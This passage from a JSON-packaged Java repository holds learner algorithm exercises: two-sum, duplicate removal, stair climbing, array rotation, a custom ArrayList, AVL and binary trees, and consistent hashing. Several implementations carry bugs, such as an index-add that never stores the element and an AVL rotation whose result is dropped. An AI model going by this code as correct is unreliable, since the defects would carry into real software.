    "content": "package com.jun.plugin.algorithm.array;\nimport java.util.Arrays;\n\nimport org.junit.Test;\n\npublic class TwoSum {\n\n    /**\n     * 已知一个升序数组array和一个数字s，数组不包含重复数字，在数组中查找两个数，使得它们的和正好为s；如果有多对数字的和等于s，则全部输出。\n     */\n\n    public void printResult(int a, int b) {\n        System.out.println(\"[\" + a + \",\" + b + \"]\");\n    }\n\n    /**\n     * 平方复杂度的算法\n     */\n    public void twoSum01(int[] array, int s) {\n        int n = array.length;\n        for (int i = 0; i < n - 1; i++) {\n            for (int j = i + 1; j < n; j++) {\n                if (array[i] + array[j] == s) {\n                    printResult(array[i], array[j]);\n                    break;\n                }\n            }\n        }\n    }\n\n    /**\n     * 线性复杂度的算法\n     */\n    public void twoSum02(int[] array, int s) {\n        int i = 0;\n        int j = array.length - 1;\n        int sum = 0;\n        while (i < j) {\n            sum = array[i] + array[j];\n            if (sum == s) {\n                printResult(array[i], array[j]);\n                i++;\n                j--;\n            } else if (sum < s) {\n                i++;\n            } else {\n                j--;\n            }\n        }\n    }\n\n    /**\n     * NlogN的算法 借助于JDK的二分查找\n     */\n    public void twoSum03(int[] array, int s) {\n        int n = array.length;\n        for (int i = 0; i < n - 1; i++) {\n            int another = s - array[i];\n            if (Arrays.binarySearch(array, i + 1, n - 1, another) >= i + 1) {\n                printResult(array[i], another);\n            }\n        }\n    }\n\n    @Test\n    public void test() {\n        int[] array = {1, 3, 4, 5, 8, 9, 11};\n        int s = 13;\n        twoSum01(array, s);\n        System.out.println(\"----\");\n        twoSum02(array, s);\n        System.out.println(\"----\");\n        twoSum03(array, s);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/array/_026RemoveDuplicates.java",
    "content": "package com.jun.plugin.algorithm.array;\n\nimport java.util.ArrayList;\n\nimport org.junit.Test;\n\n/**\n * leetCode 26：Remove Duplicates from Sorted Array\n * 给定升序数组array，删除重复元素，并返回新的长度len；使得前len个数字升序，并且不得含有重复数字；后面的数字是什么，无所谓。\n */\npublic class _026RemoveDuplicates {\n    /**\n     * 借助ArrayList解决问题\n     */\n    public int remove01(int[] nums) {\n        if (nums == null || nums.length == 0) {\n            return 0;\n        } else if (nums.length == 1) {\n            return 1;\n        } else {\n            int end = nums.length - 1;\n            ArrayList<Integer> list = new ArrayList<Integer>();\n            int i = 0;\n            while (i <= end) {\n                if (i == end) {\n                    list.add(nums[i]);\n                    i++;\n                } else {\n                    int j = i + 1;\n                    if (nums[i] == nums[j]) {\n                        while (j <= end && nums[i] == nums[j]) {\n                            j++;\n                        }\n                    }\n                    list.add(nums[i]);\n                    i = j;\n                }\n            }\n            for (i = 0; i < list.size(); i++) {\n                nums[i] = list.get(i);\n            }\n            return list.size();\n        }\n    }\n\n    /**\n     * 模拟System.arraycopy()\n     * \n     * @param array1 源数组\n     * @param s1 源数组的开始位置\n     * @param array2 目标数组\n     * @param s2 目标数组的开始位置\n     * @param len 需要复制的元素的个数\n     */\n    public void myArrayCopy(int[] array1, int s1, int[] array2, int s2, int len) {\n        int[] array = new int[len];\n        for (int i = 0; i < len; i++) {\n            array[i] = array1[s1 + i];\n        }\n        for (int i = 0; i < len; i++) {\n            array2[s2 + i] = array[i];\n        }\n    }\n\n    /**\n     * 借助ArrayCopy解决问题\n     */\n    public int remove02(int[] nums) {\n        if (nums == null || nums.length == 0) {\n            return 0;\n        } else if (nums.length == 1) {\n            return 1;\n        } else {\n            int end = nums.length - 1;\n            for (int i = 0; i <= end; i++) {\n                if (i < end) {\n                    int j = i + 1;\n                    if (nums[i] == nums[j]) {\n                        while (j <= end && nums[i] == nums[j]) {\n                            j++;\n                        }\n                    }\n                    System.arraycopy(nums, j, nums, i + 1, end - j + 1);\n                    // 用myArrayCopy 有时候Accepted，有时候 Time limit exceeded\n                    // 同学们可以多提交几次，估计是判题系统的问题\n                    // myArrayCopy(nums, j, nums, i+1, end-j+1);\n                    end -= j - i - 1;\n                }\n            }\n            return end + 1;\n        }\n    }\n\n    /**\n     * 借助临时变量解决问题\n     */\n    public int remove03(int[] nums) {\n        if (nums == null || nums.length == 0) {\n            return 0;\n        } else if (nums.length == 1) {\n            return 1;\n        } else {\n            int temp = nums[0];\n            int len = 1;\n            for (int i = 1; i < nums.length; i++) {\n                if (temp == nums[i]) {\n                    continue;\n                } else {\n                    temp = nums[i];\n                    nums[len] = nums[i];\n                    len++;\n                }\n            }\n            return len;\n        }\n    }\n\n    public void printNewArray(int[] array, int len) {\n        for (int i = 0; i < len; i++) {\n            System.out.print(array[i] + \" \");\n        }\n        System.out.println();\n    }\n\n    @Test\n    public void test01() {\n        int[] nums = {1, 2, 2, 2, 3, 4, 5, 6, 6, 7, 7, 7, 8};\n        int len = remove01(nums);\n        System.out.println(len);\n        printNewArray(nums, len);\n    }\n\n    @Test\n    public void test02() {\n        int[] nums = {1, 2, 2, 2, 3, 4, 5, 6, 6, 7, 7, 7, 8};\n        int len = remove02(nums);\n        System.out.println(len);\n        printNewArray(nums, len);\n    }\n\n    @Test\n    public void test03() {\n        int[] nums = {1, 2, 2, 2, 3, 4, 5, 6, 6, 7, 7, 7, 8};\n        int len = remove03(nums);\n        System.out.println(len);\n        printNewArray(nums, len);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/array/_040Climb.java",
    "content": "package com.jun.plugin.algorithm.array;\nimport org.junit.Assert;\nimport org.junit.Test;\n\n/**\n * 爬楼梯问题:\n * leetCode70：Climbing Stairs\n * 楼梯一共有n级，每次你只能爬1级或者2级。问：从底部爬到顶部一共有多少种不同的路径？\n */\npublic class _040Climb {\n    public int count = 0;\n\n    /**\n     * 递归算法\n     */\n    public int fib01(int n) {\n        count++;\n        if (n == 1 || n == 2) {\n            // System.out.println(n);\n            return n;\n        } else {\n            int k = fib01(n - 1) + fib01(n - 2);\n            // System.out.println(n);\n            return k;\n        }\n    }\n\n    /**\n     * 递归算法 一行\n     */\n    public int fib02(int n) {\n        return n == 1 || n == 2 ? n : fib02(n - 1) + fib02(n - 2);\n    }\n\n    public int dfs(int n, int[] array) {\n        if (array[n] != 0) {\n            return array[n];\n        } else {\n            array[n] = dfs(n - 1, array) + dfs(n - 2, array);\n            return array[n];\n        }\n    }\n\n    /**\n     * 备忘录法\n     */\n    public int fib03(int n) {\n        if (n == 1 || n == 2) {\n            return n;\n        } else {\n            int[] array = new int[n + 1];\n            array[1] = 1;\n            array[2] = 2;\n            return dfs(n, array);\n        }\n    }\n\n    /**\n     * 动态规划法\n     */\n    public int fib04(int n) {\n        if (n == 1 || n == 2) {\n            return n;\n        } else {\n            int[] array = new int[n + 1];\n            array[1] = 1;\n            array[2] = 2;\n            for (int i = 3; i <= n; i++) {\n                array[i] = array[i - 1] + array[i - 2];\n            }\n            return array[n];\n        }\n    }\n\n    /**\n     * 滚动数组\n     */\n    public int fib05(int n) {\n        if (n == 1 || n == 2) {\n            return n;\n        }\n        int a = 1, b = 2, t;\n        for (int i = 3; i <= n; i++) {\n            t = a + b;\n            a = b;\n            b = t;\n        }\n        return b;\n\n    }\n\n    /**\n     * 通项公式法\n     */\n    public int fib06(int n) {\n        if (n == 1 || n == 2) {\n            return n;\n        }\n        double sqrtFive = Math.sqrt(5);\n        n++;\n        double a = Math.pow((1 + sqrtFive) / 2, n);\n        double b = Math.pow((1 - sqrtFive) / 2, n);\n        double result = 1 / sqrtFive * (a - b);\n        return (int) Math.floor(result);\n\n    }\n\n    @Test\n    public void test() {\n        int n = 15;\n        int result = fib01(n);\n        System.out.println(result);\n        System.out.println(count);\n        // 估计上限与下限\n        Assert.assertTrue(count <= Math.pow(2, n) && count >= Math.pow(2, n / 2));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/array/_189RotateArray.java",
    "content": "package com.jun.plugin.algorithm.array;\nimport org.junit.Test;\n\n/**\n * leetCode 189：Rotate Array\n 给定一个数组，长度为n，要求把后k个元素移动至前面，前n-k个元素移动至后面。\n */\npublic class _189RotateArray {\n    public void swap(int[] array, int a, int b) {\n        int t = array[a];\n        array[a] = array[b];\n        array[b] = t;\n    }\n\n    /**\n     * 逆置数组的start到end部分\n     */\n    public void reverse(int[] array, int start, int end) {\n        if (array == null || array.length <= 1) {\n            return;\n        }\n        for (int i = start, j = end; i < j; i++, j--) {\n            swap(array, i, j);\n        }\n    }\n\n    /**\n     * 旋转数组\n     */\n    public void rotate(int[] nums, int k) {\n        if (k == 0) {\n            return;\n        }\n        int n = nums.length;\n        if (k > n) {\n            k = k % n;\n        }\n        reverse(nums, 0, n - 1 - k);\n        reverse(nums, n - k, n - 1);\n        reverse(nums, 0, n - 1);\n    }\n\n\tpublic void printArray(int[] array) {\n\t\tfor (int i : array) {\n\t\t\tSystem.out.print(i + \" \");\n\t\t}\n\t\tSystem.out.println();\n\t}\n\n    @Test\n    public void test() {\n        int[] nums = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};\n        printArray(nums);\n        rotate(nums, 4);\n        printArray(nums);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/datastructure/jcollections/IArrayList.java",
    "content": "package com.jun.plugin.algorithm.datastructure.jcollections;\n\nimport java.util.Arrays;\n\n/**\n * 实现自己的ArrayList\n *\n * @param <E>\n * @author Wujun\n */\npublic class IArrayList<E> implements IList<E> {\n\n    // 默认装载因子\n    private static final int DEFAULT_CAPACITY = 10;\n\n    private int size;\n\n    private Object[] elementData;\n\n    public IArrayList() {\n        this(DEFAULT_CAPACITY);\n    }\n\n    public IArrayList(int initialCapacity) {\n        if (initialCapacity < 0) {\n            throw new IllegalArgumentException(\"capacity < 0\");\n        }\n        elementData = new Object[initialCapacity];\n    }\n\n    @Override\n    public int size() {\n        return size;\n    }\n\n    @Override\n    public boolean isEmpty() {\n        return 0 == size;\n    }\n\n    @Override\n    public boolean contains(Object o) {\n        return indexOf(o) >= 0;\n    }\n\n    /**\n     * 末尾添加\n     * @param element\n     * @return\n     */\n    @Override\n    public boolean add(E element) {\n        ensureCapacity(size + 1);\n        elementData[size++] = element;\n\n        return true;\n    }\n\n    /**\n     * 指定索引添加时元素后移\n     * @param index\n     * @param element\n     */\n    @Override\n    public void add(int index, E element) {\n        if (index > size || index < 0) {\n            throw new IndexOutOfBoundsException(\"index out of bounds\");\n        }\n        ensureCapacity(size + 1);\n        System.arraycopy(elementData, index, elementData, index + 1, size - index);\n    }\n\n    @Override\n    public E get(int index) {\n        rangeCheck(index);\n\n        return (E)elementData[index];\n    }\n\n    @Override\n    public E set(int index, E element) {\n        rangeCheck(index);\n        E oldValue = (E)elementData[index];\n        elementData[index] = element;\n\n        return oldValue;\n    }\n\n    @Override\n    public boolean remove(Object o) {\n        if (null == o) {\n            for (int i = 0; i < size; i++) {\n                if (null == elementData[i]) {\n                    fastRemove(i);\n                    return true;\n                }\n            }\n        } else {\n            for (int i = 0; i < size; i++) {\n                if (o.equals(elementData[i])) {\n                    fastRemove(i);\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    }\n\n    @Override\n    public E remove(int index) {\n        rangeCheck(index);\n        E oldValue = (E)elementData[index];\n        fastRemove(index);\n\n        return oldValue;\n    }\n\n    @Override\n    public int indexOf(Object o) {\n        if (o == null) {\n            for (int i = 0; i < size; i++) {\n                if (null == elementData[i]) {\n                    return i;\n                }\n            }\n        } else {\n            for (int i = 0; i < size; i++) {\n                if (o.equals(elementData[i])) {\n                    return i;\n                }\n            }\n        }\n        return -1;\n    }\n\n    @Override\n    public int lastIndexOf(Object o) {\n        if (o == null) {\n            for (int i = size - 1; i >= 0; i--) {\n                if (null == elementData[i]) {\n                    return i;\n                }\n            }\n        } else {\n            for (int i = size - 1; i >= 0; i--) {\n                if (o.equals(elementData[i])) {\n                    return i;\n                }\n            }\n        }\n        return -1;\n    }\n\n    @Override\n    public void clear() {\n        for (int i = 0; i < size; i++) {\n            elementData[i] = null;\n        }\n        size = 0;\n    }\n\n    /**\n     * 扩容\n     * @param minCapacity\n     */\n    private void ensureCapacity(int minCapacity) {\n        int oldCapacity = elementData.length;\n        if (minCapacity > oldCapacity) {\n            int newCapacity = (3 * oldCapacity) / 2 + 1;\n            elementData = Arrays.copyOf(elementData, newCapacity);\n        }\n    }\n\n    /**\n     * 判断指定索引\n     * @param index\n     */\n    private void rangeCheck(int index) {\n        if (index >= size || index < 0) {\n            throw new IndexOutOfBoundsException(\"index out of bounds, index\");\n        }\n    }\n\n    /**\n     * 删除元素的移动\n     * @param index\n     */\n    private void fastRemove(int index) {\n        int numMoved = size - index - 1;\n        if (numMoved > 0) {\n            System.arraycopy(elementData, index + 1, elementData, index, numMoved);\n        }\n        elementData[--size] = null;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/datastructure/jcollections/IList.java",
    "content": "package com.jun.plugin.algorithm.datastructure.jcollections;\n\n/**\n * 实现自己的List接口\n */\npublic interface IList<E> {\n    /**\n     * 列表元素总个数\n     * @return\n     */\n    int size();\n\n    /**\n     * 列表个数为0时返回true\n     * @return\n     */\n    boolean isEmpty();\n\n    /**\n     * 判断是否存在某个元素\n     * @param o\n     * @return\n     */\n    boolean contains(Object o);\n\n    /**\n     * 添加元素\n     * @param element\n     * @return\n     */\n    boolean add(E element);\n\n    /**\n     * 指定位置添加\n     * @param index\n     * @param element\n     */\n    void add(int index, E element);\n\n    /**\n     * 获取指定位置元素\n     * @param index\n     * @return\n     */\n    E get(int index);\n\n    /**\n     * 替换指定位置元素\n     * @param index\n     * @param element\n     * @return\n     */\n    E set(int index, E element);\n\n    /**\n     * 删除元素\n     * @param o\n     * @return\n     */\n    boolean remove(Object o);\n\n    /**\n     * 删除指定位置元素\n     * @param index\n     * @return\n     */\n    E remove(int index);\n\n    /**\n     * 第一次出现的索引\n     * @param o\n     * @return\n     */\n    int indexOf(Object o);\n\n    /**\n     * 最后出现的索引\n     * @param o\n     * @return\n     */\n    int lastIndexOf(Object o);\n\n    /**\n     * 清空列表\n     * remove all elements from the list\n     */\n    void clear();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/datastructure/tree/AVLTree.java",
    "content": "package com.jun.plugin.algorithm.datastructure.tree;\n\n/**\n * Created by Lemonjing on 2016/3/16 0016.\n */\npublic class AVLTree<T  extends Comparable<T>> {\n\n    private T data;\n    private AVLTree<T> parent;\n    private AVLTree<T> leftChild;\n    private AVLTree<T> rightChild;\n    private int height;\n\n    public AVLTree() {\n        this(null);\n    }\n\n    public AVLTree(T t) {\n        data = t;\n        parent = null;\n        leftChild = null;\n        rightChild = null;\n        height = (t == null ? -1 : 0);\n    }\n\n    /**\n     * 取得根结点\n     * @return\n     */\n    public AVLTree<T> getRoot() {\n        if (data == null) {\n            return null;\n        }\n        AVLTree<T> root = this;\n        while (root.parent != null) {\n            root = root.parent;\n        }\n        return root;\n    }\n\n    // =======getters=============\n    public AVLTree<T> getLeftChild() {\n        return leftChild;\n    }\n\n    public AVLTree<T> getRightChild() {\n        return rightChild;\n    }\n\n    public AVLTree<T> getParent() {\n        return parent;\n    }\n\n    public int getHeight() {\n        return updateHeight();\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    //==========================\n\n    private boolean isEmpty() {\n        return data == null;\n    }\n\n    public int getLeftHeight() {\n        return leftChild == null ? -1 : leftChild.height;\n    }\n\n    public int getRightHeight() {\n        return rightChild == null ? -1 : rightChild.height;\n    }\n\n    private int updateHeight() {\n        if (data == null) {\n            height = -1;\n            return  height;\n        }\n        int right = getRightHeight();\n        int left = getLeftHeight();\n\n        height = left > right ? (1+left) : (1+right);\n\n        return height;\n    }\n\n    private AVLTree<T> rootInsert(T t) {\n        int cp = t.compareTo(data);\n\n        // 比较结果为0，更新元素\n        if (cp == 0) {\n            data = t;\n        }\n\n        // 比当前结点小\n        if (cp < 0) {\n            if (leftChild == null) {\n                leftChild = new AVLTree<T>(t);\n                leftChild.parent = this;\n            } else {\n                leftChild.rootInsert(t);\n            }\n        } else {\n            if (rightChild == null) {\n                rightChild = new AVLTree<T>(t);\n                rightChild.parent = this;\n            } else {\n                rightChild.rootInsert(t);\n            }\n        }\n\n        /**\n         * 处理插入引起的不平衡\n         */\n        return process();\n    }\n\n    private AVLTree<T> process() {\n\n        int lh = getLeftHeight();\n        int rh = getRightHeight();\n\n        AVLTree<T> root = this;\n\n        if (lh - rh == 2) {\n            if (leftChild.getLeftHeight() >= leftChild.getRightHeight()) {\n                // LL型 右旋\n                root = rotateRight(this);\n            } else {\n                // LR型 左旋+右旋\n                rotateLeft(leftChild);\n                root = rotateRight(this);\n            }\n        } else if (rh - lh == 2) {\n            if (rightChild.getLeftHeight() >= rightChild.getRightHeight()) {\n                // RR型 左旋\n                rotateLeft(this);\n            } else {\n               // RL型 右旋+左旋\n                rotateRight(rightChild);\n                root = rotateLeft(this);\n            }\n        }\n        // 更新当前根结点的高度\n        root.updateHeight();\n\n        return root;\n    }\n\n    public AVLTree<T> insert(T t) {\n        if (t == null)\n            return this;\n        // 特殊情形：当前是空结点\n        if (data == null) {\n            data = t;\n            updateHeight();\n            return this;\n        }\n        AVLTree<T> root = getRoot(); // 根结点\n\n        return root.rootInsert(t);\n    }\n\n    /**\n     * LL型 - 右旋\n     * @param tree\n     * @return\n     */\n    private AVLTree<T> rotateRight(AVLTree<T> tree) {\n        if (tree == null || tree.leftChild == null) {\n            return tree;\n        }\n        AVLTree<T> root = tree.leftChild;\n        tree.leftChild = root.rightChild;\n        if (tree.leftChild != null) {\n            tree.leftChild.parent = tree;\n        }\n        root.rightChild = tree;\n        root.parent = tree.parent;\n        tree.parent = root;\n        if (root.parent != null) {\n            if (root.parent.leftChild == tree) {\n                root.parent.leftChild = root;\n            } else {\n                root.parent.rightChild = root;\n            }\n        }\n        tree.updateHeight();\n        root.updateHeight();\n\n        return root;\n    }\n\n    /**\n     * RR型 - 左旋\n     * @param tree\n     */\n    private AVLTree<T> rotateLeft(AVLTree<T> tree) {\n        if (tree == null || tree.rightChild == null) {\n            return tree;\n        }\n        AVLTree<T> root = tree.rightChild;\n        tree.rightChild = root.leftChild;\n        if (tree.rightChild != null) {\n            tree.rightChild.parent = tree;\n        }\n        root.leftChild = tree;\n        root.parent = tree.parent;\n        tree.parent = root;\n        if (root.parent != null) {\n            if (root.parent.leftChild == tree) {\n                root.parent.leftChild = root;\n            } else {\n                root.parent.rightChild = root;\n            }\n        }\n        tree.updateHeight();\n        root.updateHeight();\n\n        return root;\n    }\n\n    /**\n     * 打印整个树\n     */\n    public void display() {\n        this.getRoot().displayHolder();\n    }\n\n    /**\n     * 递归打印\n     */\n    private void displayHolder(){\n        //空节点、叶子节点不打印\n        if(data==null)\n            return;\n        System.out.println(\"树信息：\");\n        System.out.println(String.format(\"H=%2d, %s->(%s,%s)\",\n                height,\n                data.toString(),\n                leftChild == null ? null : leftChild.data.toString(),\n                rightChild == null ? null : rightChild.data.toString()));\n        if(leftChild!=null)\n            leftChild.displayHolder();\n        if(rightChild!=null)\n            rightChild.displayHolder();\n    }\n\n    /**\n     * 先序遍历\n     * @param t 根结点\n     */\n    private void preOrderTraverse(AVLTree t) {\n        if (t != null) {\n            System.out.println(t.data);\n            preOrderTraverse(t.leftChild);\n            preOrderTraverse(t.rightChild);\n        }\n    }\n    /**\n     * 中序遍历 从大到小打印\n     * @param t 根结点\n     */\n    private void inOrderTraverse(AVLTree t) {\n        if (t != null) {\n            inOrderTraverse(t.leftChild);\n            System.out.println(t.data);\n            inOrderTraverse(t.rightChild);\n        }\n    }\n\n    /**\n     * 后序遍历\n     * @param t 根结点\n     */\n    private void postOrderTraverse(AVLTree t) {\n        if (t != null) {\n            postOrderTraverse(t.leftChild);\n            postOrderTraverse(t.rightChild);\n            System.out.println(t.data);\n        }\n    }\n\n    /**\n     * 遍历方法\n     * @param t 任意结点\n     * @param mode 模式\n     */\n    public void traverse (AVLTree t, String mode) {\n        AVLTree root = t.getRoot();\n        if (mode.equals(\"pre\")) {\n            System.out.println(\"先序遍历：\");\n            preOrderTraverse(root);\n        } else if (mode.equals(\"in\")) {\n            System.out.println(\"中序遍历：\");\n            inOrderTraverse(root);\n        } else {\n            System.out.println(\"后序遍历：\");\n            postOrderTraverse(root);\n        }\n    }\n\n    public AVLTree<T> rootFind(T t) {\n        if (t != null && data != null) {\n            int cp = t.compareTo(data);\n            if (cp == 0)\n                return this;\n            if (cp > 0) {\n                return rightChild == null ? null : rightChild.rootFind(t);\n            }\n            return leftChild == null ? null : leftChild.rootFind(t);\n        }\n\n        return null;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/datastructure/tree/BTree.java",
    "content": "package com.jun.plugin.algorithm.datastructure.tree;\n\nimport java.util.LinkedList;\nimport java.util.Queue;\nimport java.util.Stack;\n\n/**\n * Created by Lemonjing on 2016/3/17 0017.\n * Github: Lemonjing\n * 二叉树遍历算法（递归非递归）\n */\npublic class BTree {\n\n    public Node root;\n\n    private class Node {\n        private int data;\n        private Node leftChild;\n        private Node rightChild;\n\n        public Node(int data) {\n            this.leftChild = null;\n            this.rightChild = null;\n            this.data = data;\n        }\n    }\n\n    /**\n     * 空树\n     */\n    public BTree() {\n        root = null;\n    }\n\n    /**\n     * 创建二叉树\n     *\n     * @param node\n     * @param data\n     */\n    public void buildBTree(Node node, int data) {\n        if (root == null) {\n            root = new Node(data);\n            return;\n        } else {\n            if (data < node.data) {\n                if (node.leftChild == null) {\n                    node.leftChild = new Node(data);\n                } else {\n                    buildBTree(node.leftChild, data);\n                }\n            } else {\n                if (node.rightChild == null) {\n                    node.rightChild = new Node(data);\n                } else {\n                    buildBTree(node.rightChild, data);\n                }\n            }\n        }\n    }\n\n    /**\n     * 前序\n     *\n     * @param node\n     */\n    public void preOrder(Node node) {\n        if (node != null) {\n            System.out.println(node.data);\n            preOrder(node.leftChild);\n            preOrder(node.rightChild);\n        }\n    }\n\n    /**\n     * 前序非递归\n     *\n     * @param node\n     */\n    public void preOrder2(Node node) {\n        Stack<Node> stack = new Stack<>();\n        while (node != null || !stack.isEmpty()) {\n            while (node != null) {\n                stack.push(node);\n                System.out.println(node.data);\n                node = node.leftChild;\n            }\n            node = stack.pop();\n            node = node.rightChild;\n        }\n    }\n\n    /**\n     * 中序\n     *\n     * @param node\n     */\n    public void inOrder(Node node) {\n        if (node != null) {\n            inOrder(node.leftChild);\n            System.out.println(node.data);\n            inOrder(node.rightChild);\n        }\n    }\n\n    /**\n     * 中序非递归\n     *\n     * @param node\n     */\n    public void inOrder2(Node node) {\n        Stack<Node> stack = new Stack<>();\n        while (node != null || !stack.isEmpty()) {\n            while (node != null) {\n                stack.push(node);\n                node = node.leftChild;\n            }\n            node = stack.pop();\n            System.out.println(node.data);\n            node = node.rightChild;\n        }\n    }\n\n    /**\n     * 后序\n     *\n     * @param node\n     */\n    public void postOrder(Node node) {\n        if (node != null) {\n            postOrder(node.leftChild);\n            postOrder(node.rightChild);\n            System.out.println(node.data);\n        }\n    }\n\n    /**\n     * 后序非递归\n     *\n     * @param node\n     */\n    public void postOrder2(Node node) {\n        Stack<Node> stack = new Stack<>();\n        Node flagNode = null;\n        while (node != null || !stack.isEmpty()) {\n            while (node != null) {\n                stack.push(node);\n                node = node.leftChild;\n            }\n            node = stack.peek();\n            if (node.rightChild == null || node.rightChild == flagNode) {\n                System.out.println(node.data);\n                flagNode = node;\n                stack.pop();\n                node = null;\n            } else {\n                node = node.rightChild;\n            }\n        }\n    }\n\n    /**\n     * 层序遍历\n     *\n     * @param node\n     */\n    public void levelOrder(Node node) {\n        if (node != null) {\n            Queue<Node> q = new LinkedList<Node>();\n            q.offer(node);\n            while (!q.isEmpty()) {\n                Node temp = q.poll();\n                System.out.println(temp.data);\n                if (temp.leftChild != null) {\n                    q.offer(temp.leftChild);\n                }\n                if (temp.rightChild != null) {\n                    q.offer(temp.rightChild);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/hash/ConsistentHashWithVN.java",
    "content": "package com.jun.plugin.algorithm.hash;\n\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.SortedMap;\nimport java.util.TreeMap;\n\n/**\n * 带虚拟结点的一致性Hash算法\n *\n * @author Wujun\n */\npublic class ConsistentHashWithVN {\n    /**\n     * 待加入Hash环的服务器列表\n     */\n    private static String[] servers = {\"192.168.0.0:111\", \"192.168.0.1:111\", \"192.168.0.2:111\", \"192.168.0.3:111\",\n            \"192.168.0.4:111\"};\n\n    /**\n     * 真实结点列表，考虑到服务器上线、下线的场景，即添加、删除的场景会比较频繁，这里使用LinkedList会更好\n     */\n    private static List<String> realNodes = new LinkedList<>();\n\n    /**\n     * key表示虚拟结点服务器的hash值，value表示虚拟结点服务器的名称\n     */\n    private static SortedMap<Integer, String> virtualNodes = new TreeMap<>();\n\n    /**\n     * 虚拟结点数目（一个真实结点对应VN_SUM个虚拟结点）\n     */\n    private static final int VN_SUM = 5;\n\n    /**\n     * 加所有服务器加入集合\n     */\n    static {\n        for (int i = 0; i < servers.length; i++) {\n            realNodes.add(servers[i]);\n        }\n\n        for (String str : realNodes) {\n            for (int i = 0; i < VN_SUM; i++) {\n                String virtualNodeName = str + \"&VN\" + String.valueOf(i);\n                int hash = HashUtil.FNV1_32_HASH(virtualNodeName);\n                System.out.println(\"虚拟节点[\" + virtualNodeName + \"]被添加, hash值为\" + hash);\n                virtualNodes.put(hash, virtualNodeName);\n            }\n        }\n        System.out.println(\"\\n===========路由映射==============\\n\");\n    }\n\n    private static String matchServer(String node) {\n        // 待路由结点的Hash值\n        int hash = HashUtil.FNV1_32_HASH(node);\n        // 得到大于该Hash值的子Map\n        SortedMap<Integer, String> subMap = virtualNodes.tailMap(hash);\n        // 顺时针的第一个Key\n        Integer i = subMap.firstKey();\n        // 截取\n        String virtualNode = subMap.get(i);\n\n        // 返回路由到的服务器名称\n        return virtualNode.substring(0, virtualNode.indexOf(\"&\"));\n    }\n\n    public static void main(String[] args) {\n\n        String[] nodes = {\"127.0.0.1:1111\", \"221.226.0.1:2222\", \"10.211.0.1:3333\", \"112.74.15.218:80\"};\n        for (int i = 0; i < nodes.length; i++) {\n            System.out.println(\n                    \"[\" + nodes[i] + \"]的hash值为\" + HashUtil.FNV1_32_HASH(nodes[i]) + \",被路由到的服务器为[\" + matchServer(nodes[i]) + \"]\");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/hash/ConsistentHashWithoutVN.java",
    "content": "package com.jun.plugin.algorithm.hash;\n\nimport java.util.SortedMap;\nimport java.util.TreeMap;\n\n/**\n * 不带虚拟结点的一致性Hash算法\n * @author Wujun\n *\n */\npublic class ConsistentHashWithoutVN {\n\n\t/**\n\t * 待加入Hash环的服务器列表\n\t */\n\tprivate static String[] servers = { \"192.168.0.0:111\", \"192.168.0.1:111\", \"192.168.0.2:111\", \"192.168.0.3:111\",\n\t\t\t\"192.168.0.4:111\" };\n\n\t/**\n\t * key表示服务器的hash值，value表示服务器的名称\n\t */\n\tprivate static SortedMap<Integer, String> sortedMap = new TreeMap<>();\n\n\t/**\n\t * 程序初始化，将所有服务器加入集合\n\t */\n\tstatic {\n\t\tfor (int i = 0; i < servers.length; i++) {\n\t\t\tint hash = getHash(servers[i]);\n\t\t\t System.out.println(\"[\" + servers[i] + \"]加入集群中, 其Hash值为\" + hash);\n\t\t     sortedMap.put(hash, servers[i]);\n\t\t}\n\t}\n\n\t/**\n\t * 使用FNV1_32_HASH算法计算hash值\n\t * @param str\n\t * @return\n\t */\n\tprivate static int getHash(String str) {\n\t\tfinal int p = 16777619;\n\t\tint hash = (int) 2166136261L;\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\thash = (hash ^ str.charAt(i)) * p;\n\t\t}\n\t\thash += hash << 13;\n\t\thash ^= hash >> 7;\n\t\thash += hash << 3;\n\t\thash ^= hash >> 17;\n\t\thash += hash << 5;\n\n\t\t// 如果算出来的值为负数则取其绝对值\n\t\tif (hash < 0)\n\t\t\thash = Math.abs(hash);\n\t\treturn hash;\n\t}\n\t\n\tprivate static String matchServer(String node) {\n\t\t// 待路由结点的Hash值\n\t\tint hash = getHash(node);\n\t\t// 得到大于该Hash值的子Map\n\t\tSortedMap<Integer, String> subMap = sortedMap.tailMap(hash);\n\t\t// 顺时针的第一个Key\n\t\tInteger i = subMap.firstKey();\n\t\t// 返回路由到的服务器名称\n\t\treturn subMap.get(i);\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\t \n\t\tString[] nodes = {\"127.0.0.1:1111\", \"221.226.0.1:2222\", \"10.211.0.1:3333\"};\n\t\tfor (int i = 0; i < nodes.length; i++) {\n\t\t\tSystem.out.println(\"[\" + nodes[i] + \"]的hash值为\" + getHash(nodes[i]) + \",被路由到的服务器为[\" \n\t\t+ matchServer(nodes[i]) + \"]\");\n\t\t}\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/hash/HashUtil.java",
